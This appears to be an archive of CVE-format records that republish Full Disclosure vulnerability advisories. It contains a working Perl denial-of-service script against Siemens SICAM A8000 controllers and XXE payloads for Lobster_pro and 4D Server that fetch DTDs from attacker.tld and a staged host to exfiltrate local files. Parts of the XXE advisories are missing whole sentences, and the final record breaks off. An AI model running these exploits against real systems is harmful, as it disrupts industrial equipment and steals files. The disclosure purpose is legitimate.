Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260408-0\n-------------------------------------------------------------------------------\n                title| Remote Operation Denial of Service\n              product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n   vulnerable version| \u003c=V25.30\n        fixed version| V26.10\n           CVE number| CVE-2026-27663\n               impact| Medium\n             homepage| https://siemens.com/\n                found| 28.11.2025\n                   by| T. Weber, S. Dietz, D. Blagojevic, F. Koroknai\n                     | (Office Vienna)\n                     | CyberDanube Security Research\n                     | Vienna | St. P\u00f6lten\n                     |\n                     | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe remote operation mode is vulnerable to an uncontrolled resource exhaustion.\nBy sending frequent requests, the service can be interrupted and the affected\nPLC can no longer be parameterized. This vulnerabilitiy can be triggered with\nless than 100 requests and stalls the service as log as it is restarted via the\nweb interface or if the device is rebooted.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Remote Operation Denial of Service (CVE-2026-27663)\nThe following script can be used to force the CPCI85 process into a denial of\nservice state:\n-----------------------------------------------------\n#!/usr/bin/perl\n#Author: T. Weber\n#SICAM Remote Operation DoS \u003c=V25.30\nuse strict;\nuse warnings;\nuse LWP::UserAgent;\nuse Parallel::ForkManager;\n\n$ENV{\u0027PERL_LWP_SSL_VERIFY_HOSTNAME\u0027} = 0;\nprint \"Enter target IP address: \";\nchomp(my $ip = \u003cSTDIN\u003e);\n\nprint \"Enter target port: \";\nchomp(my $port = \u003cSTDIN\u003e);\n\nprint \"Enter Y/N for HTTPS: \";\nchomp(my $tls = \u003cSTDIN\u003e);\n\nif ($tls eq \"Y\") {\n    $tls = \"https\";\n} elsif ($tls eq \"N\") {\n    $tls = \"http\";\n} else {\n    die \"Invalid input for HTTPS (must be Y or N)\\n\";\n}\n\nmy $server_endpoint = \"$tls://$ip:$port/SICAM_TOOLBOX_1703_remote_connection_01.htm\";\nprint \"Testing $server_endpoint\\n\";\n# user agent\nmy $ua = LWP::UserAgent-\u003enew(\n    ssl_opts   =\u003e { SSL_verify_mode =\u003e 0 },\n    keep_alive =\u003e 1,\n    agent      =\u003e \"SICAM TOOLBOX II\"\n);\n\n# brute force session\nmy @hex = (0..9, \u0027A\u0027..\u0027F\u0027);\nmy $found_session;\nfor my $d1 (@hex) {\n    for my $d2 (@hex) {\n        for my $d3 (@hex) {\n            for my $d4 (@hex) {\n                my $session_id = \"008cfd320836$d1$d2$d3$d4\";\n                my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n                $req-\u003eheader(\u0027content-type\u0027   =\u003e \u0027text/plain\u0027);\n                $req-\u003eheader(\u0027Session-ID\u0027     =\u003e $session_id);\n                $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n                $req-\u003econtent(\u0027type=20\u0026length=1\u0026data=A\u0027);\n\n                my $resp = $ua-\u003erequest($req);\n\n                if ($resp-\u003eis_success) {\n                    print \"[$session_id] OK: \", $resp-\u003edecoded_content, \"\\n\";\n                    if ($resp-\u003edecoded_content ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002print \"found session\\n\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002$found_session = $session_id;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n                } else {\n                    print \"[$session_id] ERROR: \", $resp-\u003estatus_line, \"\\n\";\n                }\n            }\n            if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n        }\n        if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002}\n    }\n    if ($found_session ne \"\"){\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002last;\n\u2002\u2002\u2002\u2002\u2002\u2002}\n}\n\n#denial of remote operation\nmy $max_procs = 10;\nmy $pm = Parallel::ForkManager-\u003enew($max_procs);\n\nmy @alpha = (0..9);\nfor my $d1 (@alpha) {\n    for my $d2 (@alpha) {\n            $pm-\u003estart and next;\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002my $len = \"$d1$d2\";\n\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\u2002\n            my $req = HTTP::Request-\u003enew(POST =\u003e $server_endpoint);\n            $req-\u003eheader(\u0027content-type\u0027   =\u003e \u0027text/plain\u0027);\n            $req-\u003eheader(\u0027Session-ID\u0027     =\u003e $found_session);\n            $req-\u003eheader(\u0027UPLOADFILENAME\u0027 =\u003e \u0027abc.f20\u0027);\n            $req-\u003econtent(\u0027type=20\u0026length=\u0027.$len.\u0027\u0026data=A\u0027);\n            my $resp = $ua-\u003erequest($req);\n\n            if ($resp-\u003eis_success) {\n                print \"DoS Running: \".$d1.$d2.\"\\n\";\n            } else {\n                print \"ERROR: \", $resp-\u003estatus_line, \"\\n\";\n            }\n            $pm-\u003efinish;\n    }\n}\n$pm-\u003ewait_all_children;\n-----------------------------------------------------\nThe service is still running but stalled and cannot be used anymore to set\nparameters via Toolbox II.\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nActivate the web-interface to restart the service if needed. Deactivate remote\noperation if not used. Restrict network access to the device in the\ninfrastructure.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-12-12: Contacting Siemens PSIRT. Siemens ProductCERT confirms issues.\n2026-01-13: Siemens ProductCERT confirms to work on a fix.\n2026-01-16: Siemens ProductCERT asks for more information regarding the\n            exploitation. Provided more information.\n2026-02-18: Asked for an update. Siemens ProductCERT provided a preliminary\n            timeline.\n2026-03-26: Siemens informs that patch has been released. Providing more time\n            for customer to patch. Siemens published Advisory\n2026-04-08: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T. Weber / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/6"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/6"
        },
        {
          "url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://siemens.com/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.siemens.com/global/en/company/about.html"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/6"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260408-0 | Remote Operation Denial of Service in Siemens SICAM A8000",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-27663",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0255",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/6",
            "automated": true,
            "contentSha256": "7d95f78081fc703f96746594c19abdc59bde7143cf43707a3482303ccc3022ef",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/6",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-14T10:43:15Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0255"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0255"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-005 Arbitrary File",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nLobster_pro\n============================================================================================\n\n\narbitrary services.\n\nMetadata\n========\n\n- - Affected product: Lobster_pro\n- - Affected version: versions prior to 4.12.6-GA\n- - Vendor: Lobster DATA GmbH\n\n- - CVE ID: CVE-2024-13971\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971\n- - CVSS 4.0 score: 7.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/\n\nDetails\n=======\n\n\npart of the customer\u0027s internet-facing assets.\n\n\napplication:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE lbsterq [\n         \u003c!ENTITY % lobster SYSTEM \"http://attacker.tld/map.dtd\";\u003e\n%lobster;\n]\u003e\n\u003cproperties\u003elobster\u003c/properties\u003e\n\n\nlistings or HTTP responses via the error message returned by the endpoint:\n\n\u003c!ENTITY % cfga SYSTEM \"file:///c:\"\u003e\n\u003c!ENTITY % eea \"\u003c!ENTITY \u0026#x25; lobsterdata SYSTEM \u0027#%cfga;\u0027\u003e\"\u003e\n%eea;\n%lobsterdata;\n\n\nlisting:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003ccore:ErrorResponse xmlns:core=\"CORESYSTEM\"\u003e\n   \u003cerrorInfo\u003e\n      \u003cerrorCode\u003e500\u003c/errorCode\u003e\n      \u003chttpResponseStatus\u003e200\u003c/httpResponseStatus\u003e\n      \u003clocale\u003een\u003c/locale\u003e\n      \u003cerrorText\u003ejavax.xml.bind.UnmarshalException\n - with linked exception:\n\nException Description: An error occurred unmarshalling the document\u0026#xd;\n\nMessage: no protocol: #$Recycle.Bin\nConfig.Msi\n[...]\npagefile.sys\nPerfLogs\nProgramData\nProgram Files\nProgram Files (x86)\nProgramme\n[...]\ntemp\nUsers\nWindows\n]\u003c/errorText\u003e\n      \u003cerrorType\u003ejava.io.IOException\u003c/errorType\u003e\n      \u003cerrorLevel\u003e1\u003c/errorLevel\u003e\n   \u003c/errorInfo\u003e\n\u003c/core:ErrorResponse\u003e\n\n\nrecursive entity declarations, thus preventing data exfiltration.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to Lobster_pro release 4.12.6-GA or higher.\n\nTimeline\n========\n\n- - 2024-08-12 Initial contact with vendor\n- - 2024-08-14 Vulnerability reported to vendor\n- - 2024-08-14 CVE ID requested\n- - 2024-08-22 Initial feedback received from vendor: unable to reproduce\n- - 2024-08-28 Vulnerability demonstrated in vendor\u0027s \"Community server\"\n\n- - 2025-07-03 Reserved CVE ID CVE-2024-13971\n- - 2026-04-30 Advisory released\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnzRmsaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsvxRAAkVaWMk/lJwfZi0Y0OWpr\n5TQP/YCieTkxpkdiY0PF8dGApB3cp8ysschRAUgWIbeR7f1cj/4hbc3a1GxnZWV7\n2gk1fdQieSdkJs8uBsKz0CeEasMztCI6KcmxWL+CMFHJoH+Q5Gd7MdOh1Og/zVgh\n/UAAfzxihL0Gmx+gl6hpZVYSmqQctD4ogbmdQCU2mEuoHZRGLCzaiOtS8AZbOhvT\n3IvC3ws3cQIAwzD7YH+5V+97cXqbFVnRoNL4YgJ9/pCHXinYZvL1JGL4Ob26/GvD\nQfYqUOgpDsfr9GTZVSZT3S8pUVomMW9+FOjhpcOkRICkJ8cEdLhW5CIoaxweEcwE\nPQSSC5QS5DIfVKgGo4lc0Oe9k3pT/dnH9iEfnV5hnq7+JgapQzqxNaf6BCZJX+ET\nvoIVVjyOYyP2Qzs4LSaArWxlcb0XR/DewW9qlvfnea4SfDkrG/hhRK3qBNrC83IR\nIXmBTbp32Sfoh2X1W/frL4BtvIXkDirgF+sttAjoQKN3wVttuKj1JaM/BQ/pDf/N\npPAwaYzuuuf2Wv3NiBKIgB5tHuHKAQoKQPev7Z6pvDq0sB5ps9SRknIOEmfh/aoE\n7aNztVHs+/6axCVKcuV7+qWv6HUwg4oDp78Lo9r8Oq/9rdbZ3TKtf/KWn4uT+sWw\nZk6o928sfQFlkXtTXRiGSwE=\n=560Z\n-----END PGP SIGNATURE-----\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/1"
        },
        {
          "url": "http://attacker.tld/map.dtd\""
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-13971"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-005: Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2024-13971",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0250",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/1",
            "automated": true,
            "contentSha256": "fc38ab23c295c56af6054273dcc64d0b83024cfc3c045cc75fca20b073d6c0b3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-30T12:12:33Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0250"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0250"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-002 Arbitrary File",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nSOAP\n===============================================================================================\n\n\nservices.\n\nMetadata\n========\n\n- - Affected product: 4D Server\n- - Affected version: v20 R3\n- - Vendor: 4D\n\n- - CVE ID: CVE-2024-39847\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847\n- - CVSS 4.0 score: 8.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/\n\nDetails\n=======\n\n\n4D Server.\n\n\n\n\u003c!DOCTYPE foo [\n \u003c!ENTITY % test SYSTEM \"http://attacker.tld\";\u003e\n %test;\n]\u003e\n\n\n\"Reject SOAP-Requests\" is set in the 4D Server GUI.\n\n\ncontrolled server, and can be demonstrated using the following payloads:\n\nStage 1: XML body sent to the /4DSOAP endpoint\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY % stage1 SYSTEM \"http://192.168.56.1:2121/stage.dtd\";\u003e\n  %stage1;\n]\u003e\n\nStage 2: DTD file returned by http://192.168.56.1:2121/stage.dtd\n\n\u003c!ENTITY % fileb SYSTEM \"file:///c:\\Users\\john.doe\\Desktop\\secret.txt\"\u003e\n\u003c!ENTITY % eval \"\u003c!ENTITY \u0026#x25; exfiltrate SYSTEM \u0027%fileb;\u0027\u003e\"\u003e\n%eval;\n%exfiltrate;\n\nServer response for the request sent to the /4DSOAP endpoint:\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n        \u003cSOAP-ENV:Fault\u003e\n                \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\u003c/faultstring\u003e\n        \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\nRequests sent to the attacker controlled server (192.168.56.1:2121):\n\n192.168.56.114 - - \"GET /stage.dtd HTTP/1.1\" 200 -\n\n\n\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n        \u003cSOAP-ENV:Fault\u003e\n                \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n- - http:/secret.tld/bar\u0027\n\u003c/faultstring\u003e\n        \u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nspecific SOAP functions accepting data tags.\n\n\nport 1337. Once started, files can be requested by issuing a GET request to\n\nhttp://127.0.0.1:1337/\u003ctarget URI\u003e\n\n\n\n$ curl \u0027127.0.0.1:1337/http://192.168.56.114\u0026apos;\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" ?\u003e\n\n\u003cSOAP-ENV:Body\u003e\n        \u003cSOAP-ENV:Fault\u003e\n                \u003cfaultcode\u003eSOAP-ENV:Client\u003c/faultcode\u003e\n\n\n\u003chtml\u003e\n[...]\n      \u003ctd class=\"grayborder\"\u003e\n        \u003ch2 align=\"center\"\u003eWelcome to your 4D Web Server default home\n          page!\u003c/h2\u003e\n        \u003cp align=\"center\"\u003eThis is the \u003cstrong\u003e\u003cb\u003e4D Web Server\u003c/b\u003e\u003c/strong\u003e\n\n          Application.\u003c/p\u003e\n\n          home page.\u003c/p\u003e\n        \u003cp align=\"center\"\u003eInstructions for configuring your 4D Web\n          Server can be found in the included documentation.\u003c/p\u003e\n\n          All rights reserved.\u003c/p\u003e\n       \u003c/td\u003e\n[...]\n\u003c/html\u003e\n\u0027\n\u003c/faultstring\u003e\n\u003c/SOAP-ENV:Fault\u003e\n\u003c/SOAP-ENV:Body\u003e\n\u003c/SOAP-ENV:Envelope\u003e\n\n\nperform \"proxied\" HTTP requests.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to 4D Server 20 R7 or higher.\n\nTimeline\n========\n\n- - 2024-06-17 Vulnerability discovered\n- - 2024-06-24 Attempt to contact vendor, no response received\n- - 2024-06-25 CVE ID requested\n- - 2024-06-29 CVE-2024-39847 assigned\n- - 2024-07-04 Attempt to contact vendor again, no response received\n- - 2024-07-09 Attempt to contact vendor again, no response received\n- - 2024-07-16 Attempt to contact vendor again, no response received\n- - 2024-07-22 Attempt to contact vendor again, no response received\n- - 2026-04-29 Advisory published\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://4d.com\n[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py\n[2] https://flask.palletsprojects.com/en/stable/\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnyGKIaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrs6TQ//Vp4Ts1sg8wUOx5V46ttU\nOkErEUSrMqHDCrxiLKLsYoBBXyqPB+oKLzWFkMTUxbq+W7aqJIVG6EMeBsu1FCae\n0JfGA0MYYJ4s7WcphN/QqqU+e35r0NfPAzcKlr861ZNcwcy9vbg/WP+z1AlTfH9X\nMBKtv4Z2R1xpFq2sAJnwOw3E7Cl5g40PSsTJhI52/O7M4K5rB14EjFXW/hHgSFNz\nESUI+o/U1t7nPDulxfSsVmvbDTuvmxrs1xM/ulMYoKFKSueEglNCmF+5i/lFs7LF\nrM0PZLGCbMR9z2NOeEk+dGwCztXpY2KN1KvPWYt4flvxZzlnWFWCzrVog8QdDhbV\nCAfeLi+5krzgsZIPfphYpHc2BYJdAGsHDZx76GxoMNi8/miHX15+vg3N7SBPopOG\naIWnPJX0LCoecdzELJhzpOSYpzLTurRKnPU6y4sa/gJN4K99gCbE2HpPIJRaJmJG\nhk7iwTUA11ijiEWpKCWX3hE3dhxY9WgKKoKe/CtGZkaEoEa1ePTPUFWhiwORpSsa\nAV3i7YZOgjBiEj4ffBfy+Z/3fHhR7S3fWpFUhWeyb2jjx6OuJSG4g9az6Uze0hZG\nvYn40CIpG2sHlm1PzQBzMUopqjmaW+FMyLgv8XOsnfdqg7UqPJ0LKmNAtafO1tVo\nHH0qazSkyWNwZlaLr5YYUso=\n=MhKk\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGesch\u00e4ftsf\u00fchrer / Managing Directors:\nJakob Pietzka, Michael Sch\u00e4fer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/0"
        },
        {
          "url": "http://127.0.0.1:1337/"
        },
        {
          "url": "http://192.168.56.114\u0026apos"
        },
        {
          "url": "http://192.168.56.1:2121/stage.dtd"
        },
        {
          "url": "http://192.168.56.1:2121/stage.dtd\""
        },
        {
          "url": "http://attacker.tld\""
        },
        {
          "url": "https://4d.com"
        },
        {
          "url": "https://flask.palletsprojects.com/en/stable/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-39847"
        },
        {
          "url": "https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2024-39847",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0249",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0",
            "automated": true,
            "contentSha256": "7acb3fb14dc45d336373174c37e25480ae13673627c91b3039f20ae86d2284d2",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-30T07:16:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0249"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0249"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260326-0",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
